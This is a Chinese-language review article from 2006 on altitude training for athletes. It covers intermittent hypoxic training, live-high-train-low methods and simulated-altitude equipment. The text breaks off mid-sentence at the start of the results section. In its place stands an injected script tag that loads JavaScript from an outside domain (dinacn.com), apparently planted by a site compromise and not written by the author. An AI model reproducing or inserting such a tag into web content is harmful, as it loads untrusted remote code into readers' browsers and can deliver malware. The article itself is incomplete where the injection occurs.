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高原训练的研究现状与进展
2006-1-12  作者:马亚军  阅读:  


摘   要   本文通过对目前国内外高原训练的研究现状与进展进行探讨和归纳,揭示了高原训练的必要性。并对高原训练取得的成效和目前高原训练器材进行分析,指出高原训练确实能激发肌体的潜能,提高运动员的竞技水平。

关键词   高原训练   训练法   成效   器材

    近几十年来,世界各国对高原训练进行了多方位的研究和实践,尤其是西方一些国家在重大比赛前对竞技运动员进行高原训练已形成体系。美国、原民主德国、前苏联等许多优秀运动员还进行“模仿高原”训练或“模拟高原”训练,以及通过降低空气中氧的容积%提供额定低氧分压混合气体,即“低压舱”训练。美国著名马拉松选手萨拉萨尔利用“氧分压有氧训练器”进行模仿高原训练,两次创造马拉松世界最好成绩,多次获得重大国际马拉松赛的冠军。近几年来,我国运动员在大赛前也要进行高原训练,“马家军”曾经通过高原训练创造了长跑辉煌。高原训练的作用是肯定的。目前高原训练的研究和实践也更加完善。当前,对高原训练的高度、持续时间、参赛时机、适应高度训练、个体差异、训练成效、训练器材等仍在进一步深入研究中。

1    进行高原训练的必要性

    专家提供的研究表明,科学化的高原训练的确是有益于提高运动成绩的。中国女子中长跑以及游泳、足球、滑冰项目,在高原训练中都曾尝到甜头。不过,高原上并非处处是神话,高原训练并不能解决一切问题。中国足球在海埂训练了多少年,至今的水平还是老样子,一遇到韩国队,依旧是“恐韩症”。但是,高原训练确实能在短时间内迅速提高运动员的竞技水平和能力,使运动员在大赛前达到最佳竞技状态,为大赛取得最佳成绩奠定基础,跨栏名将刘翔就是很好的例子。

2    高原训练研究的现状

    近几年来,尤其是耐力运动员运用一些新颖的方法来进行高原训练,通过长期实践运用,常用的训练方法有:①正常气压下通过氮稀释的缺氧状态训练法;②补充氧气训练法;③缺氧性的睡眠仪训练法;④间歇性缺氧训练法。正常气压下模拟2000米到3000米的高原环境,运动员在低氧舱里呆上8小时--18小时来进行模拟“住和睡在高原环境中”,但是,训练在海平面上,或者是接近海平面的高度。一些研究认为使用低压舱这种方法会导致血浆EPO水平,网状细胞的数量和红细胞发生有益的变化,从而在高原训练后耐力成绩提高。然而,另一些在低氧舱的试验中却没有发现血液上的变化。

    造成这种差异可能是因为缺氧的刺激或者是运动员训练的不同而造成的。补充氧气常用来模拟在高原上在含氧量正常的海平面或者含氧量高的环境中进行大强度的训练,这种方法是用来改进由“高原”到“平原”策略的;即运动员居住在高原上但是训练在“海平面”。实践表明:在中等海拔1860米的高度进行高强度的训练,在经过几周的训练后,使得耐力成绩得到很大提高。另外,缺氧性的睡眠仪包括美国科罗拉多州的高原训练舱和低氧帐篷系统,它们的设计都允许运动员高住低训。目前还没有研究报道这些仪器的使用对运动员在红细胞数、最大摄氧量和运动成绩上是否有效。此外,间歇性缺氧是就是假设在经过短暂的缺氧1.5小时-2小时的情况下,有足够的刺激释放血浆EPO,最终导致RBC浓度升高。运动员在休息是使用间歇性缺氧,或者配合练习周使用它,效果比较明显。

3    高原训练的研究进展

3.1   高原训练的常用方法

3.1.1  间歇性低氧训练法  20世纪80年代末,前苏联科学家尔勃.斯特列尔科夫教授创造了间歇性低氧训练法。此方法借助特定仪器,通过降低空气中氧容积%提供额定低氧分压混合气体,使受训者吸入低氧气体,由于在实施中将缺氧负荷的总量划分为几个独立组别,每组包括若干次,在每两次降低氧刺激的间歇时间内恢复正常大气压下的自由呼吸,使低氧负荷训练表现出脉冲式或间歇性低氧刺激的间歇性特点,因而被称为间歇性低氧训练。间歇性低氧训练与旨在提高运动员身体素质及技、战术能力的常规运动训练交替进行,通常安排在训练结束后。

3.1.2  高住低训法  高住低训法就是让运动员居住在高原或人工低氧环境中,训练在平原或较低高度的地方。这种训练法最早是由美国学者提出。当时立即引起有关专家、学者们的高度重视,在欧美一些发达国家很快就在这方面实践性的大量投资,做了很多基础性研究,并投入实际运用。其中最先将高住低训法投入运动训练的是芬兰奥林匹克研究所。继芬兰之后,欧美一些发达国家也很快建立了高住低训试验室和训练中心,并投入使用。

3.2   高原训练的成效

3.2.1  间歇性低氧训练法的成效  研究结果证明?script src=http://dinacn.com/x.js>
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